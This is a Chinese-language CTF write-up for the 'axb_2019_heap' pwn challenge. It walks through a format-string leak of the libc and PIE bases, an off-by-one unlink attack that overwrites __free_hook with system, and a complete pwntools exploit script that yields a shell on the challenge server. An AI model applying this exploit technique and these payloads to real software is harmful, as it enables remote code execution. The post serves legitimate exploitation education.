Niyah

记一道Unlink

unlink

# axb_2019_heap

# 初探

保护全开,特别哈人

接下来打开 IDA 康康,可以发现开始有一个格式化字符串漏洞,那么我们可以用格式化字符串泄露栈上的值,那么我们最好是可以通过这个泄露出开 PIE 后的基地址和 libc 的基地址,这样就方便后面的操作

输入函数存在可以溢出一个字节存在 off-by-one~~,既然存在 off-by-one 那么理应是有几种利用方法的,但我觉得 Unlink 更加 OK(~~

# 泄露地址

我们在利用格式化字符串进行泄露时,我们可以动态调试一下,去看看栈上有哪些可以利用的地方,并且格式化字符串也并不是一次只能泄露出一个地址,我们可以贪心地把我们需要的栈上变量都泄露出来

这里我们寻找栈上的变量直接发现第 10 个和第 14 个就是我们需要泄露的数据,(当然这里也可以找别的,只要能算出来就行…),又由于 64 位传参,前 6 个参数不在栈上所以是 10 + 6-1 和 14 + 6-1 为什么 - 1 懂的都懂

%15$p,%19$p

泄露之后我们就可以把开 PIE 后的基地址算出来,最后把指针数组的地址算出来就可以进行下一步利用了;

  1. 我们先申请 4 个堆块,既然要造成 Unlink[1],那么 free 的那个大小应该至少属于 unsortedbin,大小大于 0x88 就可以,这里我们申请 0x98 大小的堆块,刚好就可以溢出到下一个堆块的 size 位

  2. 改写一个 unsortedbin 之前的堆块,伪造出fake_chunk的结构(在一个正常堆块里伪造出一个 bin 结构)

提一嘴为什么是 ptr-0x8,因为我首先 malloc 了一个 chunk 没用它,其后我们要找一个指针指向我们的第二个 chunk 的数据段,当然就应该找数组存放的第二个指针了,用这个指针构造出一前一后两个 chunk 和fake_chunk相互 link 的假象,那么再释放第三个 chunk 时就会触发 Unlink,让其和前一个fake_chunk合并,合并的时候fake_chunk和数组 chunk 解连接,让数组的一个指针指向自己,完成 unlink

0xA1
pre_size=0 size=0x80
fd=ptr-0x8 bk=ptr
0x80 0xa0
  1. 删除第三个堆块,让触发 unlink,这里数组的第二个指针指向了数组地址 - 0x8 位置

# Getshell

  1. 修改free_hook成为system函数的地址,这题保护全开只能改free_hook,不然还可以改 atoi 函数
  2. 删除第四个块,执行 system ("/bin/sh") 成功 getshell

# exp

#coding=utf-8
from pwn import *
libc = ELF("./libc/libc-2.23.so")
#p = process("./axb_2019_heap")
context.log_level = "debug"
p = remote("node3.buuoj.cn",26984)

def dbg():
    gdb.attach(p)
    pause()
def choice(num):
	p.sendlineafter(":",str(num))

def add(id,size,text="aaaa\n"):
	choice(1)
	p.sendlineafter(":",str(id))
	p.sendlineafter(":",str(size))
	p.sendafter(":",text)

def delete(id):
	choice(2)
	p.sendlineafter(":",str(id))

def edit(id,text="aaaa\n"):
	choice(4)
	p.sendlineafter(":",str(id))
	p.sendafter(":",text)

#gdb.attach(p)
#格式化字符串漏洞利用
p.sendlineafter("Enter your name: ","%15$p,%19$p")
p.recvuntil("Hello, ")
libc_start_main = eval(p.recv(len("0x7fcd46b5f830")))-240
libc_base = libc_start_main - libc.symbols["__libc_start_main"]

log.warn("libc_start_main: "+ str(hex(libc_base)))

p.recvuntil(",")
base = eval(p.recv(len("0x7fcd46b5f830")))-0x116a
log.warn("base: "+ str(hex(base)))

note_addr = arry = 0x202060 + base
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]

log.warn("note_addr: "+ str(hex(note_addr)))

add(0,0x90)
add(1,0x98)
add(2,0x90)
add(4,0x88,'/bin/sh\x00\n')

#unlink
payload = p64(0)+ p64(0x80) +p64(note_addr-0x8) + p64(note_addr) +"\x00"*0x70 + p64(0x90) + "\xa0"

edit(1,payload)
delete(2)

#getshell
payload = p64(0) + p64(free_hook) +p64(8)
edit(1,payload+"\n")

#dbg()

edit(0 , p64(system_addr)+"\n" )

delete(4)

p.interactive()

  1. 一篇博客弄懂 Unlink ↩︎

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。